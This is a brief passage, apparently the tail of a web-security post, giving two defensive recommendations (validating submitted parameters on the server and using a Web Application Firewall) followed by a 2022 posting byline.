  • Strictly limit the parameter type and format, define the boundary of parameter inspection, and check the legitimacy of the submitted data before formal processing at the server
  • Using Web Application Firewall

END

Added by ublapach on Thu, 13 Jan 2022 03:54:27 +0200